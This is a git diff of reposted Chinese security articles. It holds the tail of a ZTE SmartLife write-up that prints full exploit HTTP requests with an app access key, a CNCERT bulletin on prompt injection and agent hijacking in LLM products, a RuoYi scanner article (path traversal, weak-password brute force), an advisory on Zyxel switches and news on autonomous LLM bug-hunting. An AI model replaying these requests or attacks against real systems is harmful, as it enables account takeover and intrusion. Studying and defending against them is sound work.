+X-Lang-Id: en_US
+Content-Type: application/json
+
+{
+ "accountId":"A"
+ // no user Bearer token in the validated earlier-path behavior
+}
+```
+
+> 弱点：早期版本接受应用上下文和账户标识符来进行破坏性账户操作。中兴通讯后来表示，正式版需要使用令牌。
+
+
+漏洞5：任意邮箱预注册/账号抢注
+
+```
+POST /zte-sec-uac-iportalbff/external/account/person/signup.serv HTTP/1.1
+Host: zxuacde.smart-zte.com
+X-App-Id: 271950143414
+X-Tenant-Id: 10001
+X-Itp-Value: accessKey=271950143414fnu4mb3lxxotfj5mi1tp
+X-Auth-Value:
+X-Lang-Id: en_US
+Content-Type: application/json
+
+{
+ "email":"",
+ "password":"",
+ "countryCode":"DE",
+ "mailboxOwnership":"not yet proven"
+}
+```
+
+> 弱点：在邮箱所有权得到证明之前，帐户创建和后续登录均已成功，从而允许身份预留和抢注（CVE-2026-86552）。
+
+
+后置条件：使用新密码登录
+
+```
+POST /zte-sec-uac-iportalbff/external/auth/login.serv HTTP/1.1
+Host: zxuacde.smart-zte.com
+X-App-Id: 271950143414
+X-Tenant-Id: 10001
+X-Itp-Value: accessKey=271950143414fnu4mb3lxxotfj5mi1tp
+X-Auth-Value:
+X-Lang-Id: en_US
+Content-Type: application/json
+
+{
+ "loginName": "",
+ "passWord": "",
+ "loginSystemCode":"271950143414",
+ "loginClientIp":"127.0.0.1",
+ "verifyCode":""
+}
+```
+
+> 证明：使用攻击者设置的密码（经过加密）djrom(&)(&)MORJD和相应的 verifyCode 哈希值，登录会返回证明帐户的有效会话令牌。
+
+## 五、结束语
+
+这批编号真正的看点不在评分。四条记录里有两条在同一天被修订过，修订方向是把影响面判断改得更重，86553 的作用域、完整性与可用性三个分量同时被改。
+
+完整 PoC 与密钥参数表在末条编号发布后不到十小时就出现在公开仓库里。发布决定所依赖的那句「已修补、密钥已轮换」，在公开材料里找不到可核路径。唯一被复核过的负向结果落在厂商已经排除的那一项上，另有一类密钥材料连编号都没有拿到。
+
+对防御方而言需要接受两个前提。服务端的修复状态无法从客户端版本读出。编号发布也不再是风险的起点，本案里风险起点比编号发布早了三十多天，而强度更高的那一步即完整利用材料公开，比编号发布只晚了不到十小时。
+
+唯有把账号生命周期事件纳入常态监控、把托管设备的版本核查做成常规动作、并且在拿到编号时不把 CVSS 排序当成排查顺序，才能在「修复已经完成而链条已经公开」这类窗口里，不被时间差推着走。
+## 六、参考
+
+```
+ZTE PSIRT 公告 SA-202609-1732793（CVE-2026-86552）
+https://support.zte.com.cn/zte-iccp-isupport-webui/bulletin/detail/460174866982102946
+
+ZTE PSIRT 公告 SA-202609-1732788（CVE-2026-86553）
+https://support.zte.com.cn/zte-iccp-isupport-webui/bulletin/detail/2171542593031840100
+
+ZTE PSIRT 公告 SA-202609-1732784（CVE-2026-86554）
+https://support.zte.com.cn/zte-iccp-isupport-webui/bulletin/detail/2171542593031840113
+
+ZTE PSIRT 公告 SA-202609-1731629（CVE-2026-86555）
+https://support.zte.com.cn/zte-iccp-isupport-webui/bulletin/detail/874505866159007054
+
+ZTE PSIRT 响应流程与服务承诺
+https://www.zte.com.cn/global/about/trust-center/ztepsirt.html
+
+CVE.org 记录（CNA 为 ZTE Corporation）
+https://www.cve.org/CVERecord?id=CVE-2026-86552
+
+NVD 记录接口
+https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-86553
+
+CVE 记录初版与提交历史（5.1 与 5.2 两节的依据）
+https://github.com/CVEProject/cvelistV5/commits/main/cves/2026/86xxx/CVE-2026-86553.json
+
+CISA KEV 全量目录（2026-09-21 版本，1,717 条，ZTE 条目为零）
+https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
+
+EPSS公开接口（CVE-2026-86553，取值日期2026-09-21）
+https://api.first.org/data/v1/epss?cve=CVE-2026-86553
+
+报告人技术文章与 PoC 仓库
+https://minanagehsalalma.github.io/zte-smartlife-app-pwned/
+https://github.com/minanagehsalalma/zte-smartlife-app-pwned
+
+GooglePlay应用页（版本2.8.4，更新日期2026-08-19，下载量100K+）
+https://play.google.com/store/apps/details?id=com.zte.smarthome.abroad
+
+AppStore版本历史（2.8.4发布于2026-08-21）
+https://apps.apple.com/cn/app/zte-smartlife/id6462980142
+
+转载侧对照（5.3 与 5.4 两节的依据，均为 CVE-2026-86552 至 86555 详情页）
+cvefeed.io、cve.circl.lu、byteos.network、dbu.gs、cvetodo.com、techgeeks.org、rdintel.com
+```
+
+
+**END**
+
+
+
+
+
+公众号内容都来自国外等平台- 搜索的内容通过结合编写 -
+
+三方单独接广被举报 - 没收入广告已开
+
+公众号 |
+AnQuan7 (Ots安全)
+
diff --git a/doc/2026-09/假期挖洞不卡壳，X漏洞计划焕新升级！.md b/doc/2026-09/假期挖洞不卡壳，X漏洞计划焕新升级！.md
new file mode 100644
index 00000000..2754cc5b
--- /dev/null
+++ b/doc/2026-09/假期挖洞不卡壳，X漏洞计划焕新升级！.md
@@ -0,0 +1,105 @@
+# 假期挖洞不卡壳，X漏洞计划焕新升级！
+ 微步在线研究响应中心 2026-09-22 02:38
+
+AI正在改变漏洞挖掘的方式。
+
+当发现漏洞变得更快，选择研究什么，反而变得更加重要。
+
+对BugHunter来说，每一次深入分析都意味着时间、精力和机会成本。哪些产品值得投入，漏洞价值能否被清晰衡量，研究成果能否得到快速验证和合理回报，正在成为AI挖洞时代更现实的问题。
+
+好的漏洞，不应该止步于被发现；有价值的研究，也应该更快获得应有的认可。
+
+因此，X情报中心希望成为你在AI挖洞时代的第一选择。
+
+让研究方向更明确，让漏洞价值更透明，也让每一份值得被看见的研究成果，更快转化为实际回报。
+
+朝着这个目标，我们先从师傅们提交前最关心的几个问题做起：“这个产品收不收？”“大概怎么定价？”“我的漏洞是否符合要求？”
+
+这次，X漏洞奖励计划更新了活动规则页（
+https://x.threatbook.com/v5/vulReward）
+和提交流程（
+https://x.threatbook.com/v5/vulSubmit）
+，并上线官方漏洞收录评估Skill。通过产品范围查询、更清晰的定价说明和提交前辅助，让大家在投入研究、准备提交时，有更多信息可供参考。
+
+
+一、公开产品收录范围，让研究方向更有参考
+
+
+
+研究投入之前，先了解目标产品是否在当前公开收录范围（
+https://x.threatbook.com/v5/vulReward[#reward]()
+
+-4-product）
+，可以帮助师傅们安排研究优先级。
+
+登录后，在活动规则页
+或漏洞提交页
+搜索产品或厂商，就能查看产品当前是否在公开收录范围，以及对应的系统评级和基准定价。
+
+
+
+
+
+如果没有查到，也不代表不能提交。公开范围外的产品仍可继续提交，但审核优先级较低，平台会结合实际情况决定是否收录及奖励。
+
+产品状态可能
+动态
+变化，所以查询结果只作为提交前的参考：
+
+> 查询结果仅代表查询时的产品状态，不构成平台对后续收录或奖励的承诺。是否收录及最终奖励金额，以人工审核时产品的实际收录状态、漏洞验证及审核结果为准。
+
+
+二、说明定价依据，让漏洞价值评估更透明
+
+
+漏洞的价值如何评估，不应只在收到报价时才开始了解。
+
+查到产品的基准定价后，
+师傅们
+可以对照规则页中的定价说明
+，了解影响漏洞报价
+的因素：
+https://x.threatbook.com/v5/vulReward[#reward]()
+
+-5-relation
+
+常规报价由产品基准定价乘以各项适用定价系数计算。受影响资产数量、影响版本、漏洞类型、是否为组合漏洞、是否绕过已知漏洞补丁等，都会影响报价。符合特定活动奖励条件时，再按对应活动说明计算奖励。
+
+这些信息可以帮助大家提前了解适用的定价条件，也更清楚地理解报价依据。基准定价是参考起始价，不代表固定报价；最终奖励金额仍需结合漏洞验证及人工审核结果确定。
+
+
+三、前置条件确认，官方Skill辅助自评和整理
+
+
+从发现漏洞到提交研究成果，还需要核对收录要求、整理验证信息。我们也对这部分流程做了调整。
+
+新版提交流程将收录条件确认放到了第一步。选择受影响产品后，师傅们可以逐项核对漏洞是否可以稳定利用、是否影响最新版、是否需要权限或用户交互等。存在不符合条件的情况时，页面会提示具体原因；完成确认后，再进入第二步填写漏洞概要信息。
+
+
+
+对规则理解拿不准，或不知道概要信息怎么整理时，可以使用新上线的官方漏洞收录评估Skill。它能辅助进行提交前自评，也能帮助梳理影响版本、验证环境和漏洞描述等信息。让已有的研究成果更方便地整理成提交材料。
+
+活动规则页和提交页面均提供获取入口，在支持Skill的AI工具中安装后即可使用，整理后的内容需自行核对并填写，
+Skill不会自动读取或回填提交页面。
+
+Skill为可选辅助工具，其判断不能代替人工审核。涉及未公开漏洞信息时，请选择符合自身保密要求的AI工具。
+漏洞最终是否收录、奖励金额如何确定，仍以人工审核结果为准。
+
+AI带来了新的研究方式，
+我们也希望用更清楚的规则、更透明的定价依据和更顺畅的提交流程，支持师傅们的研究工作。
+这是X漏洞奖励计划此次升级的出发点，也是我们持续改进的方向。
+
+欢迎各位白帽师傅体验，也欢迎把使用中的问题和建议告诉我们：https://x.threatbook.com/v5/vulSubmit
+
+如有疑问或建议，
+可以通过loudong@threatbook.cn联系我们
+，
+感谢大家一直以来的支持！
+
+PS：近期提交量大，且节假日较多，
+审核速度可能较慢。想赚钱的师傅们放假期间可以根据范围努力敲打AI！
+
+
+· END ·
+
+
diff --git a/doc/2026-09/关于2026年人工智能大模型安全众测活动典型漏洞风险的通报.md b/doc/2026-09/关于2026年人工智能大模型安全众测活动典型漏洞风险的通报.md
new file mode 100644
index 00000000..a5448b97
--- /dev/null
+++ b/doc/2026-09/关于2026年人工智能大模型安全众测活动典型漏洞风险的通报.md
@@ -0,0 +1,98 @@
+# 关于2026年人工智能大模型安全众测活动典型漏洞风险的通报
+原创 CNCERT
+ CNCERT 国家互联网应急中心CNCERT 2026-09-22 08:07
+
+9
+月
+15
+日，
+2026
+年人工智能大模型安全众测结果在国家网络安全宣传周发布。活动共动员
+2467
+名白帽子，对国内
+25
+家
+AI
+厂商的
+54
+款大模型及智能体应用产品进行了漏洞测试。累计发现各类安全漏洞
+873
+个，其中大模型及智能体应用特有漏洞
+608
+个，传统漏洞
+265
+个。现将典型漏洞风险及应对处置建议通报如下。
+
+一、典型漏洞风险问题
+
+开源大模型和大模型应用典型漏洞风险包括：
+
+（一）提示注入类漏洞普遍，仍是大模型最常见漏洞风险。
+主要通过构造特定输入内容，直接或间接操纵模型行为，诱导其绕过安全限制执行恶意操作。例如，某大模型可通过在模型读取的网页、文档等内容中预埋恶意指令，并诱导模型检索将其作为可信指令自动执行。
+
+（二）信息泄露类漏洞多发，存在较大安全风险。
+主要通过输入特定内容诱导模型输出个人身份信息（
+PII
+）、凭证等敏感数据，以及模型内部参数、安全规则等内部信息。例如，某大模型存在
+API
+密钥硬编码与泄露漏洞，暴露所有用户共享使用的云平台
+239
+个模型的
+API
+密钥。
+
+（三）部分产品存在不当输出处理类漏洞且危害严重。
+主要是模型生成内容未经验证、过滤即被用于下游系统，导致恶意内容被直接执行或传递。例如，某大模型助理模式可以通过构造特定恶意指令绕过模型安全限制，实现远程命令执行并提权。
+
+Claw
+类智能体应用典型漏洞风险包括：
+
+（四）代理身份与权限滥用类漏洞频发，存在较大安全隐患。
+攻击者利用多智能体委托链路、上下文记忆缺陷诱导智能体冒用或过度继承身份凭证，突破预设访问边界实现越权操作。例如，某智能体任务接管机制可被恶意网页跨域注入伪造指令，操控
+Agent
+的执行流程和决策行为，造成业务中断、敏感信息泄露等危害。
+
+（五）代理目标劫持类漏洞隐蔽，可导致非预期高危操作。
+攻击者通过提示注入、上下文投毒、伪造工具返回等方式篡改智能体原始任务目标，诱导其执行恶意动作。例如，某智能体未对输入指令意图进行有效安全校验，泄露可免费调用官方平台的
+API Key
+、
+Token
+等核心配置信息。
+
+（六）部分产品存在非预期代码执行类漏洞且危害严重。
+攻击者通过提示操纵、上下文投毒等方式，诱导智能体生成未经核验的脚本、系统指令并直接运行。例如，某智能体沙箱进程管理服务
+API
+接口暴露，允许攻击者以管理员权限执行任意系统命令。
+
+此外，本次测试共发现传统安全漏洞
+265
+个，占比
+30.4%
+。这表明尽管
+AI
+系统架构具有高度的技术复杂性，但因其对外暴露的接口和服务在本质上仍遵循传统应用软件的逻辑架构，导致传统安全漏洞在
+AI
+系统中依然存在。例如，某大模型存在垂直越权漏洞，可获取站点完整管理权限。
+
+二、应对处置建议
+
+（一）针对大模型面临的各类漏洞风险，持续加强安全防护措施。
+一是采取零信任原则，将大模型输出视为不可信输入，强制验证与编码，重点对外链、代码执行等下游操作指令进行安全验证，并在沙箱等隔离环境执行模型生成的代码及工具调用操作；二是实施严格的输入输出验证和过滤，遵循最小权限原则，避免过度授权；三是将敏感指令移至安全配置库，并拦截包含“
+system prompt
+”等关键词的查询；四是落实智能体最小权限原则，增设意图与参数校验，强化调用审计及熔断管控，阻断链式风险；五是落实数据最小供给、敏感数据脱敏过滤，强化上下文边界管控与输出校验，对会话日志做脱敏留存，阻断
+AI
+产品转述外泄风险；六是加强供应商审计，强制验证第三方模型签名及数据来源，定期对第三方
+AI
+组件、框架、预训练模型、数据集进行安全评估；七是加强对传统漏洞的安全防护措施。
+
+（二）创新智测融合监测预警，打造AI漏洞闭环处置体系。
+立足汇聚社会白帽力量的传统众测模式，积极引入大模型、智能体等技术开展智能化漏洞挖掘，探索构建
+AI
+驱动的新型智测模式，充分发挥人机协同优势，提升漏洞风险挖掘的深度与发现质效。同步强化人工智能安全风险监测预警体系建设，依托漏洞共享机制，打通漏洞上报、研判、处置全流程，形成
+AI
+漏洞风险主动发现、快速处置、修复验证的完整闭环。以”众测赋能
++
+智能监测”双轮驱动，兼顾外部实战挖掘与常态化风险感知，持续提升
+AI
+安全风险管控能力。
+
diff --git a/doc/2026-09/内网交换机出现未登录命令执行，Zyxel 用户要在 9 月 24 日前答完三问.md b/doc/2026-09/内网交换机出现未登录命令执行，Zyxel 用户要在 9 月 24 日前答完三问.md
new file mode 100644
index 00000000..f8a5b306
--- /dev/null
+++ b/doc/2026-09/内网交换机出现未登录命令执行，Zyxel 用户要在 9 月 24 日前答完三问.md
@@ -0,0 +1,57 @@
+# 内网交换机出现未登录命令执行，Zyxel 用户要在 9 月 24 日前答完三问
+原创 tcode
+ tcode 字节脉搏实验室 2026-09-22 04:20
+
+
+
+
+ 一台接在内网里的 Zyxel GS1900 交换机，可能在没有账号密码的情况下被同一网络中的攻击者触发缓冲区溢出；漏洞还可能进一步走到系统命令执行。CISA 已于 2026 年 9 月 21 日把 `CVE-2026-7273` 列入 Known Exploited Vulnerabilities 目录，并给美国联邦机构设定了 9 月 24 日的处置期限。对国内用户而言，这个期限不是普遍适用的法律要求，但它是一个明确的风险排序信号：不要再等“我们这里有没有被打过”的确定性答案。
+
+ 公开事实需要分清两句话。Zyxel 的 CVE 记录确认，GS1900 系列 CGI 程序存在栈缓冲区溢出，攻击者从局域网侧发起、无需认证，构造 HTTP 请求后“可能”执行系统命令；这不是“公网任意人可直接接管交换机”。CISA 把漏洞加入 KEV，说明已有在野利用证据，但目录没有公开每一起攻击的目标、载荷和是否成功执行命令。可以据此提高优先级，不能把可能性写成已确认的普遍后果。
+
+ 真正需要今天回答的不是“CVSS 8.8 高不高”，而是三问：资产里有没有、攻击者够不够得着、设备上有没有留下痕迹。
+
+ 第一问：型号和固件有没有落进范围
+
+ 受影响产品不是整个 Zyxel 产品线，而是 GS1900 系列中的多款型号：GS1900-48HPv2、GS1900-8、GS1900-8HP、GS1900-10HP、GS1900-16、GS1900-24、GS1900-24E、GS1900-24EP、GS1900-24HPv2 和 GS1900-48。Zyxel 的 CVE 记录把受影响版本写成各型号的 `2.90` 系列及以下，具体固件编号不同，例如 GS1900-48HPv2 为 `2.90(ABTQ.1)C0` 及以下，GS1900-8 为 `2.90(AAHH.1)C0` 及以下。
+
+ 这意味着只查一个总版本号不够。资产表至少要同时记录产品名、硬件型号、完整固件字符串、设备位置和责任人。很多团队能查到采购型号，却把固件字段留空；而这次真正决定风险的是“型号 + 固件”组合。管理平台自动发现的设备也要回到采购、维保和网络拓扑中核对，避免离线库存里漏掉分支、门店或弱电间设备。
+
+ 修复应使用 Zyxel 官方公告给出的对应版本。CISA 要求的动作是依据厂商说明应用缓解措施，并在无法处理时评估停用；它不是让所有人盲目下载一个“通用最新版”。如果设备已经停止支持、无法升级或固件来源不能核验，应转成替换或隔离计划，不能把一张网络 ACL 当作永久补丁。
+
+ 第二问：谁能从网络里碰到管理面
+
+ 漏洞是相邻网络利用，不代表风险自动很低。攻击者可能在访客 Wi-Fi、办公 VLAN、分支机构、VPN 后的受控终端，甚至由一台被拿下的打印机或摄像头出发。只要该位置能访问交换机的 Web/CGI 管理面，就可能构成“无需登录”的起跳条件。
+
+ 先画一张访问矩阵，而不是只看交换机有没有公网 IP。矩阵的行是用户、访客、IoT、服务器、运维跳板和第三方 VPN，列是每台 GS1900 的管理地址、Web 服务端口和网管协议。逐格判断能否到达，比一句“管理网已隔离”更可信。管理地址、交换机 VLAN 和运维入口同时暴露给办公终端时，应该列为高风险差异。
+
+ 这张矩阵应由网络和安全团队共同签字，而不是由设备台账所有者单独填写；只有网络团队才能证明实际可达路径，也只有安全团队能判断路径是否构成可利用攻击面。
+
+ 边界控制要做到默认拒绝。管理面只允许专用运维网段和跳板机访问，访客、无线终端、服务器区和第三方网络不能横向到达；交换机管理地址不要与办公 DHCP 池混放，也不要把“能 ping 通”当成无害。若厂商提供关闭或限制 Web 管理的选项，应按照公告和现有运维流程执行，同时保留可回退路径，避免远程改配置后失去管理权。
+
+ 第三问：设备日志能证明发生过什么
+
+ 补丁和隔离解决未来风险，取证解决已经发生的风险。第一类证据是异常重启、进程崩溃和运行时间归零；如果同一时间段出现未知配置变更、管理员账号新增或转发规则变化，需要提高事件等级。第二类证据是发往 CGI 路径的异常 HTTP 请求、异常来源地址和访问频率，能集中采集时不要只依赖设备本地短周期日志。
+
+ 第三类证据在网络侧。查看交换机管理地址的进出连接、配置备份任务和控制平面流量是否出现陌生源地址。不要只封一个来源 IP 就结束，因为相邻网络中的跳板地址可能轮换；要从访问矩阵反查它是从哪个终端、VLAN 或 VPN 会话到达的。
+
+ 如果企业没有可靠的交换机日志，最诚实的结论是“无法排除”，而不是“没发现”。上线前应把管理面日志转发到独立日志平台，校验时间同步，并确认重启、配置变更和登录事件至少保留六个月。CISA 的取证分流字段已标为需要关注，这说明 KEV 收录后只做升级、不保留证据，会丢掉判断影响范围的窗口。
+
+ 三问清单怎么直接执行
+
+
+
+ 第一问的通过标准是：完整型号与固件已落到 CMDB，受影响设备有唯一责任人和修复日期。第二问的通过标准是：管理面从非运维主体不可达，例外有审批、到期时间和补偿控制。第三问的通过标准是：能看到补丁前后的重启、配置、登录和网络连接证据，且日志不依赖设备本地保存。
+
+ 三项里任何一项为“不知道”，都应该先做证据保全和边界收敛，再安排维护窗口升级。若第二问暂时无法关闭访问，应把设备视为高优先级隔离对象；若第三问无法取证，应检查上游防火墙、VPN、认证系统和网络流量日志，从网络边侧重建时间线。
+
+ 这起漏洞最容易被低估的地方，是“只在局域网”常被误读成“内部都是可信的”。同网段可达本身就是攻击面，未认证则是把最后的门槛也拿掉。今天最实际的交付物不是一篇公告摘要，而是一张能回答型号、路径和证据的三问表；9 月 24 日只是 CISA 的联邦处置节点，自己的资产清单和隔离时间应该根据暴露情况更早确定。
+
+ 热点来源
+
+ 来源：MITRE CVE 记录（Zyxel CNA）：`CVE-2026-7273`，2026-06-16 发布、2026-09-21 更新，https://cveawg.mitre.org/api/cve/CVE-2026-7273
+
+ 来源：CISA Known Exploited Vulnerabilities：2026-09-21 加入，处置期限 2026-09-24，https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-7273
+
+ 来 源：Zyxel 官方公告：2026-06-16，https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-stack-based-buffer-overflow-vulnerability-in-gs1900-series-switches-06-16-2026
+
diff --git a/doc/2026-09/国内首部智能体安全漏洞治理蓝皮书发布！.md b/doc/2026-09/国内首部智能体安全漏洞治理蓝皮书发布！.md
new file mode 100644
index 00000000..99df83e3
--- /dev/null
+++ b/doc/2026-09/国内首部智能体安全漏洞治理蓝皮书发布！.md
@@ -0,0 +1,35 @@
+# 国内首部智能体安全漏洞治理蓝皮书发布！
+360漏洞研究院
+ 360漏洞研究院 360漏洞研究院 2026-09-21 10:52
+
+
+
+
+
+
+
+近日，
+由公安部第三研究所网络安全法律研究中心联合360集团等单位共同编制的《2026智能体安全漏洞治理蓝皮书》正式发布。作为重要参编单位，360深度参与智能体安全漏洞图谱、治理路径等核心内容编制，其自主研发的AI安全攻防系统“图龙锋”作为产业实践案例被写入蓝皮书，为我国智能体漏洞治理提供可落地样本。
+
+
+
+
+
+
+
+
+蓝皮书指出，随着人工智能由内容生成走向任务执行，智能体正加速进入终端管理、软件研发、智能办公、安全运营和行业应用等场景，安全风险已由内容输出进一步延伸至系统操作和现实业务过程。与传统软件不同，智能体安全漏洞呈现出继承性、耦合性、放大性、复用性和扩散性五大特征，单一产品、单一版本的静态扫描已难以覆盖真实风险。
+
+
+当前，漏洞治理正在发生能力变革，逐步从传统工具自动化转向智能协同模式。蓝皮书强调了智能体“既是安全漏洞载体，也是治理赋能工具”的双重属性，展现出以机器速度重构安全防御范式的巨大价值。在严格受控的前提下，智能体不再局限于输出安全建议，可深度参与漏洞发现、验证、处置全流程。被业界称为“中国版 Mythos”的360图龙锋，正是这一方向的工程化落地成果。该系统采用“安全领域大模型+专业智能体蜂群”技术路线，将360积累的漏洞数据、攻防经验和安全工具融入漏洞分析流程。其中，安全领域大模型负责解析复杂代码与业务逻辑，多组专业智能体分工完成攻击面梳理、代码分析、漏洞研判、风险复现等工作，同时协同调用安全工具，将以往高度依赖少数专家经验的漏洞挖掘能力实现规模化落地。
+
+
+截至目前，360图龙锋已累计挖掘漏洞超过10000个，其中260个获国家信息安全漏洞库等权威机构核验确认，包括OpenAI Codex、Claude Code、Hermes、OpenClaw等主流商用及开源AI产品中的多项严重、高危级漏洞，服务覆盖政府监管、金融、互联网、网络安全、信创、通信、能源电力、汽车等重点领域。
+
+
+蓝皮书提出，智能体安全漏洞治理应置于网络空间“大安全”治理格局下统筹推进，形成“法律制度为底座、运行控制为主线、全生命周期治理为抓手、产业协同为支撑”的治理框架。
+
+
+点击**【阅读原文】**
+ 查看完整报告
+
diff --git a/doc/2026-09/安全工具丨若依 Vue 漏洞检测工具，支持自动化扫描若依(RuoYi-Vue)系列系统的多种安全漏洞.md b/doc/2026-09/安全工具丨若依 Vue 漏洞检测工具，支持自动化扫描若依(RuoYi-Vue)系列系统的多种安全漏洞.md
new file mode 100644
index 00000000..27a70a24
--- /dev/null
+++ b/doc/2026-09/安全工具丨若依 Vue 漏洞检测工具，支持自动化扫描若依(RuoYi-Vue)系列系统的多种安全漏洞.md
@@ -0,0 +1,116 @@
+# 安全工具丨若依 Vue 漏洞检测工具，支持自动化扫描若依(RuoYi-Vue)系列系统的多种安全漏洞
+原创 蓝星安全
+ 蓝星安全 蓝星安全 2026-09-21 22:00
+
+
+**点击上方****蓝星安全****关注我**
+
+****
+
+**免责声明：本公众号分享的任何资料仅限用于安全学习，严禁用于其他用途，请严格遵守中华人民共和国法律法规，对因不遵守国家法律法规而产生的任何后果，均由个人自行承担，本公众号不承担任何责任！**
+
+****
+**获取资料，请扫码下方二维码加入知识星球**
+
+
+## 一、简介
+
+ 若依（RuoYi-Vue）作为国内使用最广泛的开源后台管理框架之一，凭借其前后端分离架构和丰富的功能模块，被大量企业和开发者用于快速搭建管理系统。然而，正因其普及度高，若依系统面临的安全风险也日益突出——Swagger文档泄露、Druid监控未授权访问、路径穿越文件读取、SQL注入等漏洞频频出现在安全通告中
+。
+
+**ruoyi-vue-scanner**
+ 正是为应对这一痛点而生的专项安全检测工具。该项目由 AakiTT 开源，专为若依系列后台系统打造，支持自动化扫描多种常见安全漏洞，同时具备接口爬取和敏感信息搜集能力
+。
+
+与通用型漏洞扫描器不同，ruoyi-vue-scanner 深度贴合若依框架的架构特征，针对其特有的接口路径、参数命名和业务逻辑进行精准检测，显著降低了误报率。工具基于 Java 11 运行，界面简洁直观，只需输入目标 URL 即可开启一键扫描
+。无论是安全工程师进行授权渗透测试，还是运维人员在自查中排查隐患，都能从中获得高效的检测体验。
+> ⚠️ **免责声明**
+：本工具仅供技术学习与合法授权安全评估使用，严禁用于任何非法用途。使用前请遵守《中华人民共和国网络安全法》等相关法律法规
+。
+
+## 二、核心功能
+
+ruoyi-vue-scanner 的功能体系分为 **漏洞检测模块**
+ 和 **辅助功能模块**
+ 两大板块，覆盖了从漏洞发现到信息搜集的完整安全评估流程。
+### 2.1 漏洞检测模块
+
+**Swagger 文档泄露检测**
+：自动探测 /swagger-ui/index.html
+、/v2/api-docs
+、/v3/api-docs
+ 等常见接口路径，快速识别是否存在 Swagger 文档未授权访问。一旦泄露，攻击者可获取完整的 API 接口清单和参数结构，为后续攻击提供精准导航
+。
+
+**Druid 监控未授权与弱口令检测**
+：Druid 是若依默认集成的数据库连接池组件，其监控页面若未做鉴权，将暴露数据库连接信息。该工具不仅检测未授权访问，还内置了常见弱口令字典进行爆破尝试（如 admin/123456、druid/druid 等），全面排查 Druid 安全风险
+。
+
+**路径穿越文件读取检测**
+：针对 /common/download/resource
+ 等接口，检测是否存在路径穿越漏洞。攻击者可能利用该漏洞读取 /etc/passwd
+、windows/win.ini
+ 等系统敏感文件，工具会自动验证并报告可读取的文件路径
+。
+
+**dataScope 参数 SQL 注入检测**
+：若依系统的 dataScope 参数用于数据权限控制，若未做充分过滤，可能成为 SQL 注入的入口。该工具针对这一若依特有参数进行精准的注入检测
+。
+
+**定时任务任意文件读取检测**
+：检测 /monitor/job
+ 定时任务接口是否存在任意文件读取漏洞，该漏洞可被利用读取服务器上的任意文件内容
+。
+
+**任意密码修改检测**
+：检测若依系统密码重置接口是否存在逻辑漏洞，可能导致攻击者无需验证即可修改任意用户密码
+。
+
+**系统接口越权测试**
+：自动测试 /system/user
+、/system/role
+、/system/config
+ 等管理接口是否存在未授权访问，帮助发现权限控制缺失问题
+。
+
+**全面检测**
+：一键执行以上所有检测项目，适合快速完成整体安全评估。
+
+
+
+### 2.2 辅助功能模块
+
+**JS 接口提取**
+：多线程爬取目标页面引用的所有 JavaScript 文件，通过正则匹配提取其中的 API 路径，支持 /prod-api
+、/dev-api
+、/monitor
+ 等若依常见前缀，帮助安全人员发现隐藏的接口端点
+。
+
+**接口批量测试**
+：对收集到的接口进行批量请求测试，支持 GET、POST、POST-JSON 三种请求方式，并可自定义请求体，便于灵活验证接口行为
+。
+
+**敏感信息搜集**
+：基于已抓取的 JS 文件内容，自动检测密码明文、API 密钥、JWT 令牌、数据库连接字符串、Redis URL、云存储地址、GitHub 令牌、内网 IP、邮箱、手机号等敏感信息泄露
+。
+
+**自动提取 Basedir**
+：输入完整 URL 时，工具自动识别并填充后端 API 基础路径（如 /prod-api
+），省去手动配置的繁琐步骤
+。
+
+
+### 2.3 技术亮点
+
+ruoyi-vue-scanner 在工程实现上也做了多项优化：采用 **10 线程池**
+并行请求，大幅提升扫描效率；支持 **HTTP 代理**
+配置，方便搭配 Burp Suite 等工具进行流量分析；内置 **SSL 忽略**
+策略，可扫描自签名 HTTPS 站点；支持自定义 **Cookie/Authorization**
+ 认证头，能够测试登录后的接口安全；彩色日志输出让关键漏洞一目了然，进度条和状态栏实时展示扫描进度
+。
+
+三、立即获取
+
+https://github.com/AakiTT/ruoyi-vue-scanner
+
diff --git a/doc/2026-09/强推一个自动化 SRC 漏洞挖掘系统.md b/doc/2026-09/强推一个自动化 SRC 漏洞挖掘系统.md
index a5c507e2..2a75f105 100644
--- a/doc/2026-09/强推一个自动化 SRC 漏洞挖掘系统.md
+++ b/doc/2026-09/强推一个自动化 SRC 漏洞挖掘系统.md
@@ -1,6 +1,6 @@
# 强推一个自动化 SRC 漏洞挖掘系统
-StanleyNull
- StanleyNull 乌雲安全 2026-09-20 01:28
+点击关注👉
+ 点击关注👉 马哥网络安全 2026-09-22 07:00
## 介绍
##
@@ -8,7 +8,7 @@ StanleyNull
**AutoHunter**
是一个多 Agent 协同的自动化漏洞挖掘系统。你把一台机器交给它当作 7×24 小时不停歇的挖洞平台，自己只做「人工复审员」——AI 初审去掉垃圾洞后，你几分钟内完成调级 / 通过 / 打回 / 编辑 / 标记提交。
-
+
- **Collector：从 FOFA 持续产出目标，探活、预筛、评分、归属标注后入队。**
- **Worker：每个目标一个 Worker，LLM 自主侦察 + 调用真实工具链挖洞，出洞即提交。**
- **Reviewer：极理性 AI 初审，过滤半成品 / 误报，只把够格的洞送到人工面前。**
@@ -17,9 +17,10 @@ StanleyNull
| Collector / Worker / Reviewer / 通杀 / 扩大危害 全流水线自动跑 |
| |
| 容器内置 nmap · nuclei · sqlmap · httpx · whatweb，LLM 真实发包/执行，不是纸上谈兵 |
| 只认「实际可利用 + 实锤危害」，过滤半成品，减少无效人工复审 |
| 按 IP/域名查 ip138（标记/运营商/ASN 归属地），自动填报告归属单位与证明 + EduSRC 提交 JSON |
| 出洞后自动分析能否「一打一片」，实打多个同款站点验证 |
| 验证过的凭证/端点/指纹入全局情报库，后续 Worker 直接复用 |
| 应用层 WAF 默认开启，多角色访问令牌（全权/只读/观摩） |
| 设置页一键下载/恢复 SQLite（在线一致快照），可选打包工作目录，服务器定时留快照 |
## 快速开始
-> Tip
-> 全程基于 Docker + Docker Compose v2，任意装得上 Docker 的系统都能跑。生产环境推荐 Linux（2C4G 起步，磁盘 ≥ 20G）。
+Tip
+
+全程基于 Docker + Docker Compose v2，任意装得上 Docker 的系统都能跑。生产环境推荐 Linux（2C4G 起步，磁盘 ≥ 20G）。
```
# 1. 装 Docker（官方一键脚本，已装可跳过）
@@ -34,11 +35,11 @@ bash scripts/install.sh
引导脚本会：检查 Docker → 引导填 **LLM API Key**
（必填）、**FOFA Key**
